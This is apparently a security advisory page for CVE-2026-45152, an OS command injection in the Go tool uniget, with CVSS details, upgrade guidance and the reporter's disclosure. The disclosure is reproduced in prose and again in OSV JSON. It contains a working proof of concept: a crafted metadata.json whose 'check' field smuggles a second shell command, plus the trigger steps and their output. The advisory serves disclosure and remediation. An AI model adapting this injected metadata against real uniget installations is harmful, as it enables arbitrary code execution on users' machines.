CVE-2026-45152: Gitlab.com/uniget org/cli Uniget Is Vulnerable To Command Vulnerability

HIGH
Advisory Identifier: GHSA-qqq4-5773-pmw5
CVSS 7.8
CWE-78
Published
Advisory Summary

CVE-2026-45152 is a HIGH (CVSS 7.8) uniget is vulnerable to command vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Gitlab.com/uniget org/cli libraries in the Go ecosystem. The issue involves uniget is vulnerable to command injection in tool.check leading to arbitrary code execution. Remediation is available by upgrading affected packages to version 0.27.1.

CVE-2026-45152 at a Glance

CVE Identifier CVE-2026-45152
GHSA Identifier GHSA-qqq4-5773-pmw5
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Gitlab.com/uniget org/cli
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-45152

To remediate this vulnerability, upgrade all affected Gitlab.com/uniget org/cli dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gitlab.com/uniget-org/cli fixed: 0.27.1
Upgrade gitlab.com/uniget-org/cli to 0.27.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for gitlab.com/uniget-org/cli

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45152, inspect your project dependencies for Gitlab.com/uniget org/cli:

inspect dependencies for gitlab.com/uniget-org/cli

Analyze the terminal output to locate any version of Gitlab.com/uniget org/cli in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.27.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Gitlab.com/uniget org/cli, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. ### Summary A command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. ### Details The vulnerable code is located in: `tool.go:250` Vulnerable function: ```go id="f2g0ic" func (tool *Tool) RunVersionCheck() (string, error) { cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") version, err := cmd.Output() return string(version), nil } ``` The issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation. Related structure: ```go id="7f4yzm" type Tool struct { Check string } ``` Metadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink. Because `/bin/bash -c` is used, shell metacharacters such as `;`, `&&`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection. ### PoC Step 1 — Verify the vulnerable binary: ```bash id="7k3d07" /tmp/uniget-bin --version ``` Output: ```text id="p2gk9z" uniget version main ``` Step 2 — Create malicious metadata cache: ```bash id="j5zpr0" mkdir -p ~/.local/var/cache/uniget cat > ~/.local/var/cache/uniget/metadata.json << 'EOF' { "tools": [ { "name": "evil-tool", "version": "1.0.0", "binary": "${target}/bin/evil-tool", "check": "echo '1.0.0'; id > /tmp/rce-proof.txt", "tags": ["test"], "description": "RCE test", "repository": "https://example.com", "license": { "name": "MIT", "link": "https://example.com" }, "sources": [ { "registry": "ghcr.io", "repository": "uniget-org/tools" } ] } ] } EOF ``` Step 3 — Create placeholder binary: ```bash id="53ml7u" mkdir -p ~/.local/usr/local/bin cat > ~/.local/usr/local/bin/evil-tool << 'EOF' #!/bin/bash echo "placeholder" EOF chmod +x ~/.local/usr/local/bin/evil-tool ``` Step 4 — Trigger the vulnerable workflow: ```bash id="w4j7h4" /tmp/uniget-bin describe evil-tool --prefix ~/.local ``` Application output: ```text id="q0k54m" Name: evil-tool Description: RCE test Repository: https://example.com Version: 1.0.0 Check: <echo '1.0.0'; id > /tmp/rce-proof.txt> ``` Step 5 — Verify arbitrary command execution: ```bash id="w7r8z3" ls -la /tmp/rce-proof.txt cat /tmp/rce-proof.txt ``` Actual output: ```bash id="6plm7v" -rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker) ``` <img width="1107" height="694" alt="image" src="https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7" /> <img width="1909" height="631" alt="image" src="https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e" /> This confirms arbitrary command execution through the untrusted `check` field loaded from metadata. ### Impact This issue allows arbitrary command execution on systems running uniget when processing malicious metadata. An attacker may be able to: * Execute arbitrary shell commands * Exfiltrate sensitive files or environment variables * Install malware or backdoors * Modify or delete accessible files * Establish persistence on the victim machine * Compromise CI/CD environments using uniget automation Any user importing or processing attacker-controlled metadata may be impacted. ### Suggested Remediation Avoid using `/bin/bash -c` with untrusted input. Instead of: ```go id="ntxjlwm" exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") ``` consider executing fixed binaries and arguments directly without invoking a shell. For example: ```go id="ngbkk2" exec.Command(binary, "--version") ``` or sanitize and strictly validate allowed commands before execution. Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.

CVE-2026-45152 Affected Gitlab.com/uniget org/cli Versions

1 component(s)
Fixed Versions:
0.27.1
Product / Package Ecosystem Affected Versions Fixed Version
gitlab.com/uniget-org/cli
Go
< 0.27.1
0.27.1

References

Frequently Asked Questions

What is CVE-2026-45152?
CVE-2026-45152 is a security vulnerability in Gitlab.com/uniget org/cli involving uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Gitlab.com/uniget org/cli versions are affected?
Affected versions include releases prior to 0.27.1 across affected packages: gitlab.com/uniget-org/cli.
What version fixes CVE-2026-45152?
Upgrading to 0.27.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gitlab.com/uniget-org/cli affected?
Yes, gitlab.com/uniget-org/cli is affected in releases prior to 0.27.1. Upgrade your dependency to 0.27.1 or later.
What is the CVSS score of CVE-2026-45152?
CVE-2026-45152 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-45152?
CVE-2026-45152 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-45152?
Run the dependency tree command: 'inspect dependencies for gitlab.com/uniget-org/cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qqq4-5773-pmw5",
  "modified" : "2026-06-08T23:54:59Z",
  "published" : "2026-05-13T15:33:10Z",
  "aliases" : [ "CVE-2026-45152" ],
  "summary" : "uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution",
  "details" : "I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.\n\n### Summary\n\nA command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed.\n\nThis vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.\n\n### Details\n\nThe vulnerable code is located in:\n\n`tool.go:250`\n\nVulnerable function:\n\n```go id=\"f2g0ic\"\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n    cmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n    version, err := cmd.Output()\n    return string(version), nil\n}\n```\n\nThe issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.\n\nRelated structure:\n\n```go id=\"7f4yzm\"\ntype Tool struct {\n    Check string\n}\n```\n\nMetadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.\n\nBecause `/bin/bash -c` is used, shell metacharacters such as `;`, `&&`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection.\n\n### PoC\n\nStep 1 — Verify the vulnerable binary:\n\n```bash id=\"7k3d07\"\n/tmp/uniget-bin --version\n```\n\nOutput:\n\n```text id=\"p2gk9z\"\nuniget version main\n```\n\nStep 2 — Create malicious metadata cache:\n\n```bash id=\"j5zpr0\"\nmkdir -p ~/.local/var/cache/uniget\n\ncat > ~/.local/var/cache/uniget/metadata.json << 'EOF'\n{\n  \"tools\": [\n    {\n      \"name\": \"evil-tool\",\n      \"version\": \"1.0.0\",\n      \"binary\": \"${target}/bin/evil-tool\",\n      \"check\": \"echo '1.0.0'; id > /tmp/rce-proof.txt\",\n      \"tags\": [\"test\"],\n      \"description\": \"RCE test\",\n      \"repository\": \"https://example.com\",\n      \"license\": {\n        \"name\": \"MIT\",\n        \"link\": \"https://example.com\"\n      },\n      \"sources\": [\n        {\n          \"registry\": \"ghcr.io\",\n          \"repository\": \"uniget-org/tools\"\n        }\n      ]\n    }\n  ]\n}\nEOF\n```\n\nStep 3 — Create placeholder binary:\n\n```bash id=\"53ml7u\"\nmkdir -p ~/.local/usr/local/bin\n\ncat > ~/.local/usr/local/bin/evil-tool << 'EOF'\n#!/bin/bash\necho \"placeholder\"\nEOF\n\nchmod +x ~/.local/usr/local/bin/evil-tool\n```\n\nStep 4 — Trigger the vulnerable workflow:\n\n```bash id=\"w4j7h4\"\n/tmp/uniget-bin describe evil-tool --prefix ~/.local\n```\n\nApplication output:\n\n```text id=\"q0k54m\"\nName: evil-tool\n  Description: RCE test\n  Repository: https://example.com\n  Version: 1.0.0\n  Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>\n```\n\nStep 5 — Verify arbitrary command execution:\n\n```bash id=\"w7r8z3\"\nls -la /tmp/rce-proof.txt\ncat /tmp/rce-proof.txt\n```\n\nActual output:\n\n```bash id=\"6plm7v\"\n-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt\n\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)\n```\n\n<img width=\"1107\" height=\"694\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7\" />\n\n<img width=\"1909\" height=\"631\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e\" />\n\n\nThis confirms arbitrary command execution through the untrusted `check` field loaded from metadata.\n\n### Impact\n\nThis issue allows arbitrary command execution on systems running uniget when processing malicious metadata.\n\nAn attacker may be able to:\n\n* Execute arbitrary shell commands\n* Exfiltrate sensitive files or environment variables\n* Install malware or backdoors\n* Modify or delete accessible files\n* Establish persistence on the victim machine\n* Compromise CI/CD environments using uniget automation\n\nAny user importing or processing attacker-controlled metadata may be impacted.\n\n### Suggested Remediation\n\nAvoid using `/bin/bash -c` with untrusted input.\n\nInstead of:\n\n```go id=\"ntxjlwm\"\nexec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n```\n\nconsider executing fixed binaries and arguments directly without invoking a shell.\n\nFor example:\n\n```go id=\"ngbkk2\"\nexec.Command(binary, \"--version\")\n```\n\nor sanitize and strictly validate allowed commands before execution.\n\nThank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "gitlab.com/uniget-org/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.27.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45152"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/uniget-org/cli"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/releases/tag/v0.27.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-13T15:33:10Z",
    "nvd_published_at" : "2026-05-27T22:16:36Z"
  }
}